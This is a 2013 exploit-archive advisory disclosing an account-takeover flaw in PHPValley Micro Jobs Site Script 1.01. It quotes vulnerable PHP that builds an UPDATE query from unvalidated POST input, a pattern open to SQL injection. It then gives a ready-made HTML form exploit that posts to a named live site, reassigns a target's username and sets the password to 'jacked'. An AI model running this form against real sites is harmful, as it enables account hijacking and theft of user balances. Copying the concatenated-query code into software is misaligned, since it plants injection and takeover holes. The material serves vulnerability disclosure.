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PHPValley Micro Jobs Site Script 1.01 Account Takeover

PHPValley Micro Jobs Site Script 1.01 Account Takeover
Posted Apr 27, 2013
Authored by Jason Whelan

PHPValley Micro Jobs Site Script version 1.01 allows for a logged in user to spoof another user and take over their account.

tags | exploit, spoof
MD5 | 834d645a5dc51daf527af3a9fcffe379

PHPValley Micro Jobs Site Script 1.01 Account Takeover

Change Mirror Download
Author: Jason Whelan
PacketStorm: exploitdev
Email: exploitdevj@gmail.com

Target Software: PHPValley Micro Jobs Site Script 1.01
Vendor URL: http://phpvalley.com/
Demo: http://phpvalley.com/demo

Account Takeover Vulnerability

This vulnerability allows users to edit their username, which the script
doesn't account for. Editing your username to that of a current user allows
the attacker to takeover their account, including using or depositing their
balance.

The vulnerability exists in php/change_pass_content.php:
if (isset($_POST['changepass']))
{
$cpass=md5($_POST['cpass']);
$npass=trim($_POST['npass']);
$npassc=trim($_POST['npassc']);
$username=trim(strtolower($_POST['auser']));
if($npass == $npassc && !empty($npass)){
$query = "UPDATE members SET username='".$username."',
password='".md5(strtolower($npass))."' where
username='".$_SESSION['userName']."' and password='$cpass'";
This code doesn't validate the username that is being updated. SQL
injection might also be possible, but the length is limited here.

Exploit:
<!-- be logged into your own account, edit info below: -->
<form method="post" action="http://webfiver.com/change_pass.php">
<input name="changepass" type="hidden" value="Update" />
Target Username: <input name="auser" type="text" />
Your Password: <input name="cpass" type="password" />
<input name="npass" type="hidden" value="jacked" />
<input name="npassc" type="hidden" value="jacked" />
<input type="submit" value="Jack" />
</form>

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